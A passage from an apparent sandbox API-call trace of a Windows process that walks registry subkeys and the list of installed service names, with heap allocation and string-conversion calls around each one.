Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.357] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0228.357] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.357] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.357] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.357] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.357] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0228.357] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0228.357] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0228.357] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.357] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.358] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.358] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.358] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0228.358] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0228.358] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1970, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0228.358] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.358] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.358] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.358] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.358] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0228.358] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.358] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0228.358] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.358] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.358] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.358] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.358] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0228.358] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.358] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0228.358] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.358] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.358] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.358] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.358] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0228.359] RegCloseKey (hKey=0x148) returned 0x0 [0228.359] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0228.359] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0228.359] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1d18, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0228.359] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.359] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.359] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.359] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.359] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0228.359] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0228.359] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1970, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0228.359] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.359] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.359] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.359] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.359] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0228.359] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0228.359] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1d18, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0228.359] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.359] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.359] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.359] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.359] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0228.359] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0228.360] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1970, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0228.360] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.360] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.360] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.360] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.360] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0228.360] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0228.360] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1d18, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0228.360] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.360] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.360] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.360] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.360] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0228.360] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0228.360] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1970, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0228.360] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.360] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.360] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.360] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.360] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0228.360] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0228.360] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1d18, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0228.360] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.360] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.361] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.361] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.361] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0228.361] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.361] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0228.361] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.361] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.361] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.361] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.361] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0228.361] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0228.361] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0228.361] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.361] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.361] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.361] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.361] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0228.361] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.361] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0228.361] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.361] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.361] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.361] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.361] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0228.361] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0228.362] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1d18, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0228.362] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.362] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.362] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.362] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.362] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0228.362] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.362] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0228.362] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.362] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.362] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.362] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.362] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0228.362] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.362] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0228.362] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.362] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.362] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.362] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.362] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0228.362] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.362] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0228.362] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.362] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.362] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.362] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.363] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0228.363] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0228.363] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0228.363] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.363] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.363] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.363] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.363] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0228.363] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0228.363] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.363] WideCharToMultiByte (in: CodePage=0x0, 